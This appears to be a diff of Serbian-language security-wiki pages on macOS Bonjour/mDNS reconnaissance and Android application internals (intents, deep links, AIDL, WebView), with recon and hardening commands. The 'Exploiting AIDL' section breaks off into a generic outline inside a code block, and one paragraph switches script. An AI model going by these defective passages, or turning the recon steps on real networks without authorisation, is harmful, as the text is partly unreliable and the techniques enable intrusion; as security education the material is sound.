* **mdns_recon** – Python alat koji skenira cele opsege u potrazi za *neispravno konfigurisanim* mDNS responderima koji odgovaraju na unicast upite (korisno za pronalaženje uređaja dostupnih preko podmreža/WAN):
|
||||
|
||||
```bash
|
||||
git clone https://github.com/chadillac/mdns_recon && cd mdns_recon
|
||||
@ -145,7 +145,7 @@ Ovo će vratiti hostove koji izlažu SSH putem Bonjura van lokalne veze.
|
||||
| Year | CVE | Severity | Issue | Patched in |
|
||||
|------|-----|----------|-------|------------|
|
||||
|2024|CVE-2024-44183|Medium|Logička greška u *mDNSResponder* omogućila je da kreirani paket izazove **denial-of-service**|macOS Ventura 13.7 / Sonoma 14.7 / Sequoia 15.0 (Sep 2024) |
|
||||
|2025|CVE-2025-31222|High|Problem sa tačnošću u *mDNSResponder* mogao bi biti zloupotrebljen za **lokalnu eskalaciju privilegija**|macOS Ventura 13.7.6 / Sonoma 14.7.6 / Sequoia 15.5 (May 2025) |
|
||||
|2025|CVE-2025-31222|High|Problem tačnosti u *mDNSResponder* mogao bi biti zloupotrebljen za **lokalnu eskalaciju privilegija**|macOS Ventura 13.7.6 / Sonoma 14.7.6 / Sequoia 15.5 (May 2025) |
|
||||
|
||||
**Mitigation guidance**
|
||||
|
||||
@ -156,17 +156,17 @@ Ovo će vratiti hostove koji izlažu SSH putem Bonjura van lokalne veze.
|
||||
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
|
||||
```
|
||||
3. Za okruženja gde je Bonjour potreban interno, ali nikada ne sme preći mrežne granice, koristite *AirPlay Receiver* profil ograničenja (MDM) ili mDNS proxy.
|
||||
4. Omogućite **System Integrity Protection (SIP)** i održavajte macOS ažuriranim – obe ranjivosti su brzo zakrpljene, ali su se oslanjale na to da je SIP omogućen za potpunu zaštitu.
|
||||
4. Omogućite **System Integrity Protection (SIP)** i redovno ažurirajte macOS – obe ranjivosti su brzo zakrpljene, ali su se oslanjale na to da je SIP omogućen za potpunu zaštitu.
|
||||
|
||||
### Disabling Bonjour
|
||||
|
||||
Ako postoje zabrinutosti u vezi sa bezbednošću ili drugi razlozi za onemogućavanje Bonjura, može se isključiti koristeći sledeću komandu:
|
||||
Ako postoje zabrinutosti u vezi sa bezbednošću ili drugi razlozi za onemogućavanje Bonjura, može se isključiti pomoću sledeće komande:
|
||||
```bash
|
||||
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
|
||||
```
|
||||
## Reference
|
||||
|
||||
- [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=)
|
||||
- [**Priručnik za hakere na Mac-u**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=)
|
||||
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
- [**https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html**](https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html)
|
||||
- [**NVD – CVE-2023-42940**](https://nvd.nist.gov/vuln/detail/CVE-2023-42940)
|
||||
|
@ -9,18 +9,18 @@
|
||||
- **OS**, koji drži instalirane aplikacije izolovane jedna od druge.
|
||||
- **sama aplikacija**, koja omogućava programerima da **izlože određene funkcionalnosti** i konfigurišu mogućnosti aplikacije.
|
||||
|
||||
### Razdvajanje UID
|
||||
### UID Razdvajanje
|
||||
|
||||
**Svakoj aplikaciji se dodeljuje specifični ID korisnika**. Ovo se dešava tokom instalacije aplikacije tako da **aplikacija može da komunicira samo sa datotekama koje pripadaju njenom ID-u korisnika ili deljenim** datotekama. Stoga, samo sama aplikacija, određene komponente OS-a i root korisnik mogu pristupiti podacima aplikacije.
|
||||
**Svakoj aplikaciji se dodeljuje specifični User ID**. Ovo se dešava tokom instalacije aplikacije tako da **aplikacija može da komunicira samo sa datotekama koje pripadaju njenom User ID-u ili deljenim** datotekama. Stoga, samo sama aplikacija, određeni delovi OS-a i root korisnik mogu pristupiti podacima aplikacije.
|
||||
|
||||
### Deljenje UID
|
||||
### UID Deljenje
|
||||
|
||||
**Dve aplikacije mogu biti konfigurisane da koriste isti UID**. Ovo može biti korisno za deljenje informacija, ali ako je jedna od njih kompromitovana, podaci obe aplikacije će biti kompromitovani. Zato se ovo ponašanje **ne preporučuje**.\
|
||||
**Da bi delile isti UID, aplikacije moraju definisati istu vrednost `android:sharedUserId` u svojim manifestima.**
|
||||
**Da bi delile isti UID, aplikacije moraju definisati istu `android:sharedUserId` vrednost u svojim manifestima.**
|
||||
|
||||
### Sandboxing
|
||||
|
||||
**Android aplikacioni sandbox** omogućava da se **svaka aplikacija** pokreće kao **poseban proces pod posebnim ID-om korisnika**. Svaki proces ima svoju virtuelnu mašinu, tako da se kod aplikacije izvršava u izolaciji od drugih aplikacija.\
|
||||
**Android Application Sandbox** omogućava da se **svaka aplikacija** pokreće kao **poseban proces pod posebnim korisničkim ID-om**. Svaki proces ima svoju virtuelnu mašinu, tako da se kod aplikacije izvršava u izolaciji od drugih aplikacija.\
|
||||
Od Android 5.0(L) **SELinux** se primenjuje. U suštini, SELinux je odbio sve interakcije procesa i zatim stvorio politike da **dozvoli samo očekivane interakcije između njih**.
|
||||
|
||||
### Dozvole
|
||||
@ -50,7 +50,7 @@ Ove aplikacije se obično nalaze u **`/system/app`** ili **`/system/priv-app`**
|
||||
## Rootovanje
|
||||
|
||||
Da biste dobili root pristup na fizičkom android uređaju, obično morate **iskoristiti** 1 ili 2 **ranjivosti** koje su obično **specifične** za **uređaj** i **verziju**.\
|
||||
Kada je eksploatacija uspela, obično se Linux `su` binarni fajl kopira na lokaciju koja je navedena u korisničkoj PATH env varijabli kao što je `/system/xbin`.
|
||||
Kada je eksploatacija uspela, obično se Linux `su` binarni fajl kopira na lokaciju koja je navedena u korisničkom PATH env varijabli kao što je `/system/xbin`.
|
||||
|
||||
Kada je su binarni fajl konfiguran, koristi se druga Android aplikacija za interakciju sa `su` binarnim fajlom i **obrađivanje zahteva za root pristup** kao što su **Superuser** i **SuperSU** (dostupni u Google Play prodavnici).
|
||||
|
||||
@ -68,7 +68,7 @@ Napomena da **nije uvek potrebno rootovati uređaj** da bi se instalirao prilago
|
||||
|
||||
Kada je uređaj rootovan, svaka aplikacija može zatražiti pristup kao root. Ako zlonamerna aplikacija dobije taj pristup, imaće pristup gotovo svemu i moći će da ošteti telefon.
|
||||
|
||||
## Osnovni principi Android aplikacija <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
## Osnovni principi Android Aplikacija <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- Format Android aplikacija se naziva _APK format datoteke_. U suštini, to je **ZIP datoteka** (preimenovanjem ekstenzije datoteke u .zip, sadržaj se može izdvojiti i pregledati).
|
||||
- Sadržaj APK-a (nije iscrpan)
|
||||
@ -79,36 +79,36 @@ Kada je uređaj rootovan, svaka aplikacija može zatražiti pristup kao root. Ak
|
||||
- META-INF/
|
||||
- Ovde se nalazi sertifikat!
|
||||
- **classes.dex**
|
||||
- Sadrži Dalvik bajtkod, koji predstavlja kompajlirani Java (ili Kotlin) kod koji aplikacija izvršava po defaultu.
|
||||
- Sadrži Dalvik bytecode, koji predstavlja kompajlirani Java (ili Kotlin) kod koji aplikacija izvršava po defaultu.
|
||||
- lib/
|
||||
- Sadrži nativne biblioteke, razdvojene po CPU arhitekturi u poddirektorijumima.
|
||||
- `armeabi`: kod za ARM procesore
|
||||
- `armeabi-v7a`: kod za ARMv7 i više procesore
|
||||
- Sadrži native biblioteke, razdvojene po CPU arhitekturi u poddirektorijumima.
|
||||
- `armeabi`: kod za ARM bazirane procesore
|
||||
- `armeabi-v7a`: kod za ARMv7 i više bazirane procesore
|
||||
- `x86`: kod za X86 procesore
|
||||
- `mips`: kod samo za MIPS procesore
|
||||
- assets/
|
||||
- Čuva razne datoteke potrebne aplikaciji, potencijalno uključujući dodatne nativne biblioteke ili DEX datoteke, ponekad korišćene od strane autora malvera za prikrivanje dodatnog koda.
|
||||
- Čuva razne datoteke potrebne aplikaciji, potencijalno uključujući dodatne native biblioteke ili DEX datoteke, ponekad korišćene od strane autora malvera za prikrivanje dodatnog koda.
|
||||
- res/
|
||||
- Sadrži resurse koji nisu kompajlirani u resources.arsc.
|
||||
|
||||
### **Dalvik & Smali**
|
||||
|
||||
U Android razvoju, **Java ili Kotlin** se koriste za kreiranje aplikacija. Umesto korišćenja JVM-a kao u desktop aplikacijama, Android kompajlira ovaj kod u **Dalvik izvršne (DEX) bajtkod**. Ranije je Dalvik virtuelna mašina obrađivala ovaj bajtkod, ali sada, Android Runtime (ART) preuzima u novijim verzijama Android-a.
|
||||
U Android razvoju, **Java ili Kotlin** se koriste za kreiranje aplikacija. Umesto korišćenja JVM-a kao u desktop aplikacijama, Android kompajlira ovaj kod u **Dalvik Executable (DEX) bytecode**. Ranije je Dalvik virtuelna mašina obrađivala ovaj bytecode, ali sada, Android Runtime (ART) preuzima u novijim verzijama Android-a.
|
||||
|
||||
Za obrnuto inženjerstvo, **Smali** postaje ključan. To je ljudski čitljiva verzija DEX bajtkoda, koja deluje kao asemblažni jezik prevodeći izvorni kod u instrukcije bajtkoda. Smali i baksmali se odnose na alate za asemblažu i disasembliranje u ovom kontekstu.
|
||||
Za obrnuto inženjerstvo, **Smali** postaje ključan. To je ljudski čitljiva verzija DEX bytecode-a, koja deluje kao asemblažni jezik prevodeći izvorni kod u bytecode instrukcije. Smali i baksmali se odnose na alate za asemblažu i disasembliranje u ovom kontekstu.
|
||||
|
||||
## Intenti
|
||||
|
||||
Intenti su primarni način na koji Android aplikacije komuniciraju između svojih komponenti ili sa drugim aplikacijama. Ovi objekti poruka takođe mogu nositi podatke između aplikacija ili komponenti, slično kako se koriste GET/POST zahtevi u HTTP komunikacijama.
|
||||
|
||||
Dakle, Intent je u suštini **poruka koja se prenosi između komponenti**. Intenti **mogu biti usmereni** ka specifičnim komponentama ili aplikacijama, **ili se mogu slati bez specifičnog primaoca**.\
|
||||
Da pojednostavimo, Intent se može koristiti:
|
||||
Jednostavno rečeno, Intent se može koristiti:
|
||||
|
||||
- Da pokrene Aktivnost, obično otvarajući korisnički interfejs za aplikaciju
|
||||
- Kao emitovanja da obavesti sistem i aplikacije o promenama
|
||||
- Da pokrene, zaustavi i komunicira sa pozadinskom uslugom
|
||||
- Da pristupi podacima putem ContentProviders
|
||||
- Kao povratni pozivi za obradu događaja
|
||||
- Kao povratne informacije za obradu događaja
|
||||
|
||||
Ako su ranjivi, **Intenti se mogu koristiti za izvođenje raznih napada**.
|
||||
|
||||
@ -116,9 +116,9 @@ Ako su ranjivi, **Intenti se mogu koristiti za izvođenje raznih napada**.
|
||||
|
||||
**Intent Filteri** definišu **kako aktivnost, usluga ili Broadcast Receiver mogu interagovati sa različitim tipovima Intent-a**. U suštini, oni opisuju mogućnosti ovih komponenti, kao što su koje akcije mogu izvršiti ili koje vrste emitovanja mogu obraditi. Primarno mesto za deklarisanje ovih filtera je unutar **AndroidManifest.xml datoteke**, iako je kodiranje za Broadcast Receivere takođe opcija.
|
||||
|
||||
Intent Filteri se sastoje od kategorija, akcija i filtera podataka, sa mogućnošću uključivanja dodatnih metapodataka. Ova postavka omogućava komponentama da obrađuju specifične Intente koji se poklapaju sa deklarisanim kriterijumima.
|
||||
Intent Filteri se sastoje od kategorija, akcija i filtera podataka, sa mogućnošću uključivanja dodatnih metapodataka. Ova postavka omogućava komponentama da obrade specifične Intente koji se poklapaju sa deklarisanim kriterijumima.
|
||||
|
||||
Kritičan aspekt Android komponenti (aktivnosti/usluge/provideri sadržaja/broadcast receiveri) je njihova vidljivost ili **javnost**. Komponenta se smatra javnom i može interagovati sa drugim aplikacijama ako je **`exported`** sa vrednošću **`true`** ili ako je za nju deklarisan Intent Filter u manifestu. Međutim, postoji način za programere da eksplicitno zadrže ove komponente privatnim, osiguravajući da ne interaguju sa drugim aplikacijama nenamerno. Ovo se postiže postavljanjem **`exported`** atributa na **`false`** u njihovim manifest definicijama.
|
||||
Kritičan aspekt Android komponenti (aktivnosti/usluge/provideri sadržaja/broadcast receiveri) je njihova vidljivost ili **javnost**. Komponenta se smatra javnom i može interagovati sa drugim aplikacijama ako je **`exported`** sa vrednošću **`true`** ili ako je Intent Filter deklarisan za nju u manifestu. Međutim, postoji način za programere da eksplicitno zadrže ove komponente privatnim, osiguravajući da ne interaguju sa drugim aplikacijama nenamerno. Ovo se postiže postavljanjem **`exported`** atributa na **`false`** u njihovim manifest definicijama.
|
||||
|
||||
Pored toga, programeri imaju opciju da dodatno osiguraju pristup ovim komponentama zahtevajući specifične dozvole. **`permission`** atribut može biti postavljen da osigura da samo aplikacije sa dodeljenom dozvolom mogu pristupiti komponenti, dodajući dodatni sloj sigurnosti i kontrole nad tim ko može da interaguje sa njom.
|
||||
```java
|
||||
@ -145,7 +145,7 @@ Ova namera treba da bude deklarisana unutar manifesta kao u sledećem primeru:
|
||||
```
|
||||
An intent-filter treba da odgovara **akciji**, **podacima** i **kategoriji** da bi primio poruku.
|
||||
|
||||
Proces "rezolucije intencija" određuje koja aplikacija treba da primi svaku poruku. Ovaj proces uzima u obzir **atribut prioriteta**, koji može biti postavljen u **deklaraciji intent-filter-a**, i **onaj sa višim prioritetom će biti izabran**. Ovaj prioritet može biti postavljen između -1000 i 1000, a aplikacije mogu koristiti `SYSTEM_HIGH_PRIORITY` vrednost. Ako dođe do **konflikta**, pojavljuje se "chooser" prozor kako bi **korisnik mogao da odluči**.
|
||||
Proces "rezolucije intencija" određuje koja aplikacija treba da primi svaku poruku. Ovaj proces uzima u obzir **atribut prioriteta**, koji može biti postavljen u **deklaraciji intent-filter-a**, i **ona sa višim prioritetom će biti odabrana**. Ovaj prioritet može biti postavljen između -1000 i 1000, a aplikacije mogu koristiti `SYSTEM_HIGH_PRIORITY` vrednost. Ako dođe do **konflikta**, pojavljuje se "chooser" prozor kako bi **korisnik mogao da odluči**.
|
||||
|
||||
### Eksplicitne Intencije
|
||||
|
||||
@ -161,15 +161,15 @@ context.startService(intent);
|
||||
```
|
||||
### Pending Intents
|
||||
|
||||
Oni omogućavaju drugim aplikacijama da **preduzimaju akcije u ime vaše aplikacije**, koristeći identitet i dozvole vaše aplikacije. Prilikom konstruisanja Pending Intent-a, **treba da se specificira intent i akcija koja će se izvršiti**. Ako **deklarisani intent nije eksplicitan** (ne navodi koji intent može da ga pozove), **maliciozna aplikacija bi mogla da izvrši deklarisanu akciju** u ime žrtvovane aplikacije. Štaviše, **ako akcija nije specificirana**, maliciozna aplikacija će moći da izvrši **bilo koju akciju u ime žrtve**.
|
||||
Oni omogućavaju drugim aplikacijama da **preuzmu akcije u ime vaše aplikacije**, koristeći identitet i dozvole vaše aplikacije. Prilikom konstruisanja Pending Intent-a, treba **navesti intent i akciju koja se izvršava**. Ako **deklarisani intent nije Eksplicitan** (ne navodi koji intent može da ga pozove), **maliciozna aplikacija bi mogla da izvrši deklarisanu akciju** u ime žrtvovane aplikacije. Štaviše, **ako akcija nije navedena**, maliciozna aplikacija će moći da izvrši **bilo koju akciju u ime žrtve**.
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
Za razliku od prethodnih intent-a, koji se primaju samo od jedne aplikacije, broadcast intent-i **mogu biti primljeni od više aplikacija**. Međutim, od API verzije 14, **moguće je specificirati aplikaciju koja treba da primi** poruku koristeći Intent.setPackage.
|
||||
Za razliku od prethodnih intent-a, koji se primaju samo od jedne aplikacije, broadcast intent-i **mogu biti primljeni od više aplikacija**. Međutim, od API verzije 14, **moguće je odrediti aplikaciju koja treba da primi** poruku koristeći Intent.setPackage.
|
||||
|
||||
Alternativno, takođe je moguće **specificirati dozvolu prilikom slanja broadcast-a**. Aplikacija primaoc će morati da ima tu dozvolu.
|
||||
Alternativno, takođe je moguće **navesti dozvolu prilikom slanja broadcast-a**. Aplikacija primaoc će morati da ima tu dozvolu.
|
||||
|
||||
Postoje **dva tipa** Broadcast-a: **Normalni** (asinkroni) i **Ordered** (sinhroni). **Redosled** se zasniva na **konfigurisanoj prioritetu unutar elementa primaoca**. **Svaka aplikacija može obraditi, preneti ili odbaciti Broadcast.**
|
||||
Postoje **dva tipa** Broadcast-a: **Normalni** (asinkroni) i **Poručeni** (sinhroni). **Redosled** se zasniva na **konfigurisanoj prioritetu unutar elementa primaoca**. **Svaka aplikacija može obraditi, preneti ili odbaciti Broadcast.**
|
||||
|
||||
Moguće je **poslati** **broadcast** koristeći funkciju `sendBroadcast(intent, receiverPermission)` iz `Context` klase.\
|
||||
Takođe možete koristiti funkciju **`sendBroadcast`** iz **`LocalBroadCastManager`** koja osigurava da **poruka nikada ne napusti aplikaciju**. Koristeći ovo, nećete ni morati da izvozite komponentu primaoca.
|
||||
@ -178,13 +178,13 @@ Takođe možete koristiti funkciju **`sendBroadcast`** iz **`LocalBroadCastManag
|
||||
|
||||
Ova vrsta Broadcast-a **može se pristupiti dugo nakon što su poslati**.\
|
||||
Oni su deprecated u API nivou 21 i preporučuje se da **ih ne koristite**.\
|
||||
**Oni omogućavaju bilo kojoj aplikaciji da prisluškuje podatke, ali i da ih modifikuje.**
|
||||
**Oni omogućavaju bilo kojoj aplikaciji da prisluškuje podatke, ali i da ih menja.**
|
||||
|
||||
Ako pronađete funkcije koje sadrže reč "sticky" kao što su **`sendStickyBroadcast`** ili **`sendStickyBroadcastAsUser`**, **proverite uticaj i pokušajte da ih uklonite**.
|
||||
|
||||
## Deep links / URL schemes
|
||||
|
||||
U Android aplikacijama, **deep links** se koriste za pokretanje akcije (Intent) direktno putem URL-a. To se postiže deklarisanjem specifičnog **URL shema** unutar aktivnosti. Kada Android uređaj pokuša da **pristupi URL-u sa ovom shemom**, specificirana aktivnost unutar aplikacije se pokreće.
|
||||
U Android aplikacijama, **deep links** se koriste za pokretanje akcije (Intent) direktno putem URL-a. To se postiže deklarisanjem specifičnog **URL shema** unutar aktivnosti. Kada Android uređaj pokuša da **pristupi URL-u sa ovom shemom**, određena aktivnost unutar aplikacije se pokreće.
|
||||
|
||||
Shema mora biti deklarisana u **`AndroidManifest.xml`** datoteci:
|
||||
```xml
|
||||
@ -198,9 +198,9 @@ Shema mora biti deklarisana u **`AndroidManifest.xml`** datoteci:
|
||||
</intent-filter>
|
||||
[...]
|
||||
```
|
||||
Šema iz prethodnog primera je `examplescheme://` (napomena takođe **`category BROWSABLE`**)
|
||||
Šema iz prethodnog primera je `examplescheme://` (obratite pažnju i na **`kategoriju BROWSABLE`**)
|
||||
|
||||
Zatim, u polju podataka, možete navesti **host** i **path**:
|
||||
Zatim, u polju podataka, možete navesti **host** i **putanju**:
|
||||
```xml
|
||||
<data android:scheme="examplescheme"
|
||||
android:host="example"
|
||||
@ -213,29 +213,29 @@ Da biste mu pristupili putem veba, moguće je postaviti link kao:
|
||||
```
|
||||
Da biste pronašli **kod koji će biti izvršen u aplikaciji**, idite na aktivnost koju poziva deeplink i potražite funkciju **`onNewIntent`**.
|
||||
|
||||
Saznajte kako da [pozovete deep linkove bez korišćenja HTML stranica](#exploiting-schemes-deep-links).
|
||||
Saznajte kako [pozvati deep linkove bez korišćenja HTML stranica](#exploiting-schemes-deep-links).
|
||||
|
||||
## AIDL - Android Interface Definition Language
|
||||
## AIDL - Android Interfejs Definicija Jezika
|
||||
|
||||
**Android Interface Definition Language (AIDL)** je dizajniran za olakšavanje komunikacije između klijenta i servisa u Android aplikacijama putem **interprocess communication** (IPC). Pošto direktan pristup memoriji drugog procesa nije dozvoljen na Androidu, AIDL pojednostavljuje proces maršalizovanjem objekata u format koji operativni sistem razume, čime olakšava komunikaciju između različitih procesa.
|
||||
**Android Interfejs Definicija Jezika (AIDL)** je dizajniran za olakšavanje komunikacije između klijenta i servisa u Android aplikacijama putem **interprocesne komunikacije** (IPC). Pošto direktan pristup memoriji drugog procesa nije dozvoljen na Androidu, AIDL pojednostavljuje proces maršalizovanjem objekata u format koji operativni sistem razume, čime olakšava komunikaciju između različitih procesa.
|
||||
|
||||
### Ključni koncepti
|
||||
### Ključni Koncepti
|
||||
|
||||
- **Povezani servisi**: Ovi servisi koriste AIDL za IPC, omogućavajući aktivnostima ili komponentama da se povežu sa servisom, šalju zahteve i primaju odgovore. Metoda `onBind` u klasi servisa je ključna za započinjanje interakcije, označavajući je kao vitalno područje za bezbednosnu reviziju u potrazi za ranjivostima.
|
||||
- **Povezani Servisi**: Ovi servisi koriste AIDL za IPC, omogućavajući aktivnostima ili komponentama da se povežu sa servisom, šalju zahteve i primaju odgovore. Metoda `onBind` u klasi servisa je ključna za započinjanje interakcije, označavajući je kao vitalno područje za bezbednosnu reviziju u potrazi za ranjivostima.
|
||||
|
||||
- **Messenger**: Kao povezani servis, Messenger olakšava IPC sa fokusom na obradu podataka putem metode `onBind`. Bitno je pažljivo pregledati ovu metodu zbog bilo kakvog nesigurnog rukovanja podacima ili izvršavanja osetljivih funkcija.
|
||||
- **Messenger**: Kao povezani servis, Messenger olakšava IPC sa fokusom na obradu podataka kroz metodu `onBind`. Bitno je pažljivo pregledati ovu metodu zbog bilo kakvog nesigurnog rukovanja podacima ili izvršavanja osetljivih funkcija.
|
||||
|
||||
- **Binder**: Iako je direktna upotreba klase Binder manje uobičajena zbog apstrakcije AIDL-a, korisno je razumeti da Binder deluje kao drajver na nivou jezgra koji olakšava prenos podataka između memorijskih prostora različitih procesa. Za dalju pomoć, resurs je dostupan na [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
- **Binder**: Iako je direktna upotreba klase Binder manje uobičajena zbog AIDL-ove apstrakcije, korisno je razumeti da Binder deluje kao drajver na nivou jezgra koji olakšava prenos podataka između memorijskih prostora različitih procesa. Za dalju pomoć, resurs je dostupan na [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
|
||||
## Komponente
|
||||
|
||||
Ove uključuju: **Aktivnosti, Servise, Broadcast Receivere i Provajdere.**
|
||||
|
||||
### Aktivnost pokretača i druge aktivnosti
|
||||
### Launcher Aktivnost i druge aktivnosti
|
||||
|
||||
U Android aplikacijama, **aktivnosti** su poput ekrana, prikazujući različite delove korisničkog interfejsa aplikacije. Aplikacija može imati mnogo aktivnosti, od kojih svaka predstavlja jedinstveni ekran za korisnika.
|
||||
U Android aplikacijama, **aktivnosti** su poput ekrana, prikazujući različite delove korisničkog interfejsa aplikacije. Aplikacija može imati mnogo aktivnosti, od kojih svaka prikazuje jedinstveni ekran korisniku.
|
||||
|
||||
**Aktivnost pokretača** je glavni ulaz u aplikaciju, pokreće se kada dodirnete ikonu aplikacije. Definisana je u manifestu aplikacije sa specifičnim MAIN i LAUNCHER namerama:
|
||||
**Launcher aktivnost** je glavni ulaz u aplikaciju, pokreće se kada dodirnete ikonu aplikacije. Definisana je u manifest fajlu aplikacije sa specifičnim MAIN i LAUNCHER namerama:
|
||||
```html
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
@ -246,11 +246,11 @@ U Android aplikacijama, **aktivnosti** su poput ekrana, prikazujući različite
|
||||
```
|
||||
Неће све апликације требати активност покретача, посебно оне без корисничког интерфејса, као што су позадинске услуге.
|
||||
|
||||
Активности могу бити доступне другим апликацијама или процесима означавањем као "извозне" у манифесту. Овај параметар омогућава другим апликацијама да покрену ову активност:
|
||||
Активности могу бити доступне другим апликацијама или процесима означавањем као "извозне" у манифесту. Ова подешавања омогућавају другим апликацијама да покрену ову активност:
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
Međutim, pristupanje aktivnosti iz druge aplikacije nije uvek bezbednosni rizik. Briga se javlja ako se osetljivi podaci dele nepravilno, što može dovesti do curenja informacija.
|
||||
Međutim, pristupanje aktivnosti iz druge aplikacije nije uvek bezbednosni rizik. Briga se javlja ako se osetljivi podaci dele na neodgovarajući način, što može dovesti do curenja informacija.
|
||||
|
||||
Životni ciklus aktivnosti **počinje sa onCreate metodom**, postavljajući UI i pripremajući aktivnost za interakciju sa korisnikom.
|
||||
|
||||
@ -274,7 +274,7 @@ super.onCreate();
|
||||
```
|
||||
### Usluge
|
||||
|
||||
[Usluge](https://developer.android.com/guide/components/services) su **pozadinske operacije** sposobne za izvršavanje zadataka bez korisničkog interfejsa. Ovi zadaci mogu nastaviti da se izvršavaju čak i kada korisnici pređu na različite aplikacije, što usluge čini ključnim za **dugotrajne operacije**.
|
||||
[Usluge](https://developer.android.com/guide/components/services) su **pozadinske operacije** sposobne za izvršavanje zadataka bez korisničkog interfejsa. Ovi zadaci mogu nastaviti da se izvršavaju čak i kada korisnici pređu na različite aplikacije, što čini usluge ključnim za **dugotrajne operacije**.
|
||||
|
||||
Usluge su svestrane; mogu se pokrenuti na različite načine, pri čemu su **Intents** primarna metoda za njihovo pokretanje kao ulaznu tačku aplikacije. Kada se usluga pokrene koristeći metodu `startService`, njena metoda `onStart` se aktivira i nastavlja da radi dok se ne pozove metoda `stopService`. Alternativno, ako je uloga usluge zavisna od aktivne klijentske veze, koristi se metoda `bindService` za povezivanje klijenta sa uslugom, angažujući metodu `onBind` za prenos podataka.
|
||||
|
||||
@ -310,7 +310,7 @@ android:exported="false">
|
||||
android:resource="@xml/filepaths" />
|
||||
</provider>
|
||||
```
|
||||
I primer specificiranja deljenih foldera u `filepaths.xml`:
|
||||
I primer specifikovanja deljenih foldera u `filepaths.xml`:
|
||||
```xml
|
||||
<paths>
|
||||
<files-path path="images/" name="myimages" />
|
||||
@ -334,7 +334,7 @@ Ključna tačka je da WebView pregledači **ne dele kolačiće** sa glavnim preg
|
||||
|
||||
Za učitavanje sadržaja dostupne su metode kao što su `loadUrl`, `loadData` i `loadDataWithBaseURL`. Ključno je osigurati da su ovi URL-ovi ili datoteke **sigurni za korišćenje**. Bezbednosne postavke mogu se upravljati putem `WebSettings` klase. Na primer, onemogućavanje JavaScripta sa `setJavaScriptEnabled(false)` može sprečiti XSS napade.
|
||||
|
||||
JavaScript "Bridge" omogućava Java objektima interakciju sa JavaScript-om, zahtevajući da metode budu označene sa `@JavascriptInterface` radi bezbednosti od Android 4.2 pa nadalje.
|
||||
JavaScript "Bridge" omogućava Java objektima da komuniciraju sa JavaScript-om, zahtevajući da metode budu označene sa `@JavascriptInterface` radi bezbednosti od Android 4.2 pa nadalje.
|
||||
|
||||
Dozvoljavanje pristupa sadržaju (`setAllowContentAccess(true)`) omogućava WebView-ima pristup Content Providers, što može predstavljati rizik osim ako su URL-ovi sadržaja verifikovani kao sigurni.
|
||||
|
||||
@ -354,7 +354,7 @@ Da biste kontrolisali pristup datotekama:
|
||||
|
||||
### **Upravljanje mobilnim uređajima (MDM)**
|
||||
|
||||
- **MDM rešenja** pružaju **nadzor i bezbednost** za mobilne uređaje putem **Device Administration API**. Oni zahtevaju instalaciju Android aplikacije za efikasno upravljanje i obezbeđivanje mobilnih uređaja. Ključne funkcije uključuju **sprovođenje politika lozinki**, **obavezno šifrovanje skladišta**, i **dozvoljavanje daljinskog brisanja podataka**, osiguravajući sveobuhvatan nadzor i bezbednost mobilnih uređaja.
|
||||
- **MDM rešenja** pružaju **nadzor i bezbednost** za mobilne uređaje putem **Device Administration API**. Zahtevaju instalaciju Android aplikacije za efikasno upravljanje i obezbeđivanje mobilnih uređaja. Ključne funkcije uključuju **sprovođenje politika lozinki**, **obavezno šifrovanje skladišta**, i **dozvoljavanje daljinskog brisanja podataka**, osiguravajući sveobuhvatan nadzor i bezbednost mobilnih uređaja.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
@ -367,7 +367,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
```
|
||||
## Enumerating and Exploiting AIDL / Binder Services
|
||||
|
||||
Android *Binder* IPC izlaže mnoge **sistemske i usluge koje pruža dobavljač**. Te usluge postaju **površina za napad** kada se izvezu bez odgovarajuće provere dozvola (AIDL sloj sam ne vrši *nikakvu* kontrolu pristupa).
|
||||
Android *Binder* IPC izlaže mnoge **sistemske i usluge koje pruža dobavljač**. Te usluge postaju **površina za napad** kada se izlažu bez odgovarajuće provere dozvola (AIDL sloj sam ne vrši *nikakvu* kontrolu pristupa).
|
||||
|
||||
### 1. Otkrijte aktivne usluge
|
||||
```bash
|
||||
@ -375,21 +375,20 @@ Android *Binder* IPC izlaže mnoge **sistemske i usluge koje pruža dobavljač**
|
||||
service list # simple one-liner
|
||||
am list services # identical output, ActivityManager wrapper
|
||||
```
|
||||
1. Razumevanje Android aplikacija
|
||||
2. Osnovne komponente Android aplikacija
|
||||
3. Razvoj Android aplikacija
|
||||
4. Sigurnosni aspekti Android aplikacija
|
||||
5. Tehnike testiranja sigurnosti Android aplikacija
|
||||
1. Uvod u Android aplikacije
|
||||
2. Razumevanje Android arhitekture
|
||||
3. Osnovne komponente Android aplikacija
|
||||
4. Razvoj Android aplikacija
|
||||
5. Testiranje i bezbednost Android aplikacija
|
||||
6. Alati za pentesting Android aplikacija
|
||||
7. Analiza i inženjering povratnog koda
|
||||
8. Uobičajene ranjivosti u Android aplikacijama
|
||||
9. Pristup podacima i skladištenje
|
||||
10. Mrežne komunikacije u Android aplikacijama
|
||||
7. Tehnike za analizu Android aplikacija
|
||||
8. Uobičajeni problemi i ranjivosti u Android aplikacijama
|
||||
9. Zaključak i preporuke
|
||||
```
|
||||
